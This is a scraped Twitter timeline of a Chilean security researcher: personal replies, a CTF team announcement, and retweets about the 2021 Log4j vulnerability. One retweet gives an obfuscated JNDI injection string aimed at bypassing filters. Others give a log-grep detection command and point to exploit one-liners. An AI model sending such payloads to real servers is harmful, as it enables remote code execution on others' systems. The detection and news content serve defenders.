Camilo Vera Vidales

I like to politely break things

[Camilo Vera Vidales @camilo_verav]

@wonder_dami_ Te amo 😍

[Camilo Vera Vidales @camilo_verav]

@karanjagtiani04 @h4x0r_dz Updating...

[Suraj @PwnFunction]

ig ive achieved the meaning of life..

[CIC-IoT-IIoT @IotCic]

Es un placer presentar a los guerreros que representaran a #Chile en el Equipo LATAM del CTF Internacional ICC el cuál representará a LATAM en la Copa Mundial de #Ciberseguridad 2023.

Felicidades
☣ Robert Parra Inostroza
☣ Caetano Borges
☣ Camilo Vera Vidales
☣ Pablo Aravena

[Professor the Hunter @bughuntar]

Use this payloads on Email field...🥰

[XSS Payloads @XssPayloads]

The underrated bugs, a great article (not only XSS focused but still...) by @RenwaX23.
https://t.co/41VGJKt4Ly

[The Hacker News @TheHackersNews]

Attackers have started exploiting the 2nd #Log4J vulnerability (CVE-2021-45046), while a third #vulnerability has already been reported and its technical details are expected to be published soon.

Details + PoC for 3rd: https://t.co/17NlwS4NXO

#infosec #cybersecurity #hacking

[Camilo Vera Vidales @camilo_verav]

@ximenaborquezd

[Camilo Vera Vidales @camilo_verav]

Ahora gracias al CVE-2021-44228 (Log4j) en Twitter ya no se puede buscar strings que contengan ${jndi: 😳

[Camilo Vera Vidales @camilo_verav]

@ximenaborquezd Es una vulnerabilidad no menor descubierta recientemente, Twitter fue una de las plataformas afectadas y ahora puedes probar buscar algo con ${jndi: dentro y tirará error ;)

[x0rz @x0rz]

This one is probably my fav

[x0rz @x0rz]

(Source https://t.co/ajzWpTUKpP)

[🇵🇸 Happy 🇵🇸 @_HappyHacker_]

😂

[stypr @brokenpacifist]

${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}

log4j bypass lol

Lessons learned: Don't use Java.

[Florian Roth ⚡️ @cyb3rops]

Iv'e created Gist with exploitation detection ideas and rules

I'll update this gist frequently

#log4j #log4jrce CVE-2021-44228

https://t.co/vlAR6aFbUl

[Florian Roth ⚡️ @cyb3rops]

Quick check in /var/log folder or where your apps store their logs

sudo grep -r '${jndi:ldap://' /var/log

#log4j #log4jrce

[John Hammond @_JohnHammond]

aaaaand then code execution?? #log4j #minecraft

[Aditya @ADITYASHENDE17]

GitHub - dwisiswant0/awesome-oneliner-bugbounty: A collection of awesome one-liner scripts especially for bug bounty tips. https://t.co/iy49CEUVl4